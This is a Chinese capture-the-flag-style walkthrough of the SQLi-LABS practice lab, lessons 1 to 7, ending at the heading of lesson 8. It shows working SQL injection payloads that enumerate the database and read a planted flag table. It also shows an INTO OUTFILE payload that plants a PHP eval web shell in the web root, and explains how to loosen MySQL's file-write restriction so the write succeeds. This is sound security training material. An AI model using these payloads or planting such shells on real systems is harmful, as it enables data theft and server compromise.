SQLi-LABS

为了方便,我在sqli-labs的数据库里加了一个flag表,内容如下

id flag md5
1 flag{Ur_w31c0M3_59Li} 5741ec4b77346399c8ff2428ac49b937

目标就是通过注入读到这个表里的数据

Page-1

Less-1 Error Based- String

题目提示(后面一样的就省略了):

1
Please input the ID as parameter with numeric value

输入?id=1'报错

1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

存在注入。

1
2
3
4
5
6
7
8
9
1' or '1'='1	正常
1' or '1'='2 无结果
1' order by 3; --+ 表中有3列数据
0' union select 1,2,3; --+ 2、3列数据显示在网页上
0' union select 1,database(),user(); --+ 数据库名为security,用户为root@localhost
0' union select 1,1,group_concat(schema_name) from information_schema.schemata; --+ 列出所有数据库
0' union select 1,1,group_concat(table_name) from information_schema.tables where table_schema=database(); --+ 列出当前数据库所有表
0' union select 1,1,group_concat(column_name) from information_schema.columns where table_name='flag'; --+ 列出flag表所有列
id=0' union select 1,flag,md5 from flag; --+ 读取flag

Less-2 Error Based- Intiger

输入?id=1'报错

1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' LIMIT 0,1' at line 1

存在注入。

输入1' or '1'='1报错

1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' or '1'='1 LIMIT 0,1' at line 1

数字型注入

1
2
3
4
5
6
7
8
1 and 1=1	正常
1 and 1=2 无结果
1 order by 3; --+ 表中有3列数据
0 union select 1,2,3; --+ 2、3列数据显示在网页上
0 union select 1,database(),group_concat(schema_name) from information_schema.schemata; --+ 列出当前数据库和所有数据库
0 union select 1,1,group_concat(table_name) from information_schema.tables where table_schema=database(); --+ 列出当前数据库所有表
0 union select 1,1,group_concat(column_name) from information_schema.columns where table_name='flag'; --+ 列出flag表所有列
0 union select 1,flag,md5 from flag; --+ 读取flag

Less-3 Error Based- String (with Twist)

输入?id=1'报错

1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

存在注入。

1
2
1' or '1'='1	正常
1' or '1'='2 无结果

后面的注入语句发现无法正常执行,根据报错猜测需要闭合括号。继续构造如下语句:

1
2
3
4
5
6
1') order by 3; --+	表中有3列数据
0') union select 1,2,3; --+ 2、3列数据显示在网页上
0') union select 1,database(),group_concat(schema_name) from information_schema.schemata; --+ 列出当前数据库和所有数据库
0') union select 1,1,group_concat(table_name) from information_schema.tables where table_schema=database(); --+ 列出当前数据库所有表
0') union select 1,1,group_concat(column_name) from information_schema.columns where table_name='flag'; --+ 列出flag表所有列
0') union select 1,flag,md5 from flag; --+ 读取flag

Less-4 Error Based- DoubleQuotes String

使用' --+ )等都无法触发报错,输入\报错

1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '"1\") LIMIT 0,1' at line 1

猜测使用了双引号而不是单引号进行闭合。

注入语句构造如下(中间猜测数据库数据表省略,语句都差不多,也不解释了)

1
2
3
1") order by 3; --+
0") union select 1,1,group_concat(column_name) from information_schema.columns where table_name='flag'; --+
0") union select 1,flag,md5 from flag; --+

Less-5 Double Query- Single Quotes- String

这道题和前面不太一样

1
2
3
4
id=0	无结果
id=1 You are in...........
id=1' 报错
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

双查询注入,具体原理见这里

1
2
3
4
0' union select 1,count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a; --+ 爆出数据库名
0' union select 1,count(*), concat((select table_name from information_schema.tables where table_schema=database() LIMIT 1,1), floor(rand()*2))as a from information_schema.tables group by a; --+ 找到flag表
0' union select 1,count(*), concat((SELECT COLUMN_NAME FROM information_schema.COLUMNS where TABLE_NAME='flag' LIMIT 0,1), floor(rand()*2))as a from information_schema.columns group by a; --+ 依次爆出列名
0' union select 1,count(*), concat((select flag from security.flag LIMIT 0,1), floor(rand()*2))as a from information_schema.TABLES group by a; --+ 爆出flag

Less-6 Double Query- Double Quotes- String

这道题其实和5一样,把单引号换成双引号就行了,最后的payload:

1
0" union select 1,count(*), concat((select flag from security.flag LIMIT 0,1), floor(rand()*2))as a from information_schema.`TABLES` group by a; --+

Less-7 Dump into Outfile

into outfile写文件

这里需要注意,可能需要提前配置一下mysql的权限。启动mysql的时候默认使用了–secure-file-priv这个参数,限制LOAD DATA INFILE或者SELECT INTO OUTFILE之类文件的目录位置。

可以使用SELECT @@global.secure_file_priv;SHOW VARIABLES LIKE "secure_file_priv";查看当前设置的路径。

1
2
3
(1)NULL,表示禁止。
(2)如果value值有文件夹目录,则表示只允许该目录下文件(PS:测试子目录也不行)。
(3)如果为空,则表示不限制目录。

(1)方案一:

把导入文件放入secure-file-priv目前的value值对应路径即可。

(2)方案二:

把secure-file-priv的value值修改为准备导入文件的放置路径。

(3)方案三:修改配置

去掉导入的目录限制。可修改mysql配置文件(Windows下为my.ini, Linux下的my.cnf),在[mysqld]下面,查看是否有:

secure_file_priv =

如上这样一行内容,如果没有,则手动添加。如果存在如下行:

secure_file_priv = /home

这样一行内容,表示限制为/home文件夹。而如下行:

secure_file_priv =

这样一行内容,表示不限制目录,等号一定要有,否则mysql无法启动。

修改完配置文件后,重启mysql生效。

除了mysql的限制,Linux可能也会限制文件写入。我额外在网站目录下新建了一个test文件夹并用chown把权限给了mysql。

这道题没什么注入技巧,需要注意要闭合两个括号,其他就是一句话木马写入了。

1
0')) union select 1,2,"<?php @eval($_POST['pass']);?>" into outfile "/opt/lampp/htdocs/test/pass.php"; --+

一句话木马连接搞定

Less-8 Blind- Boolian- Single Quotes- String

这道题是基于bool的盲注。

0%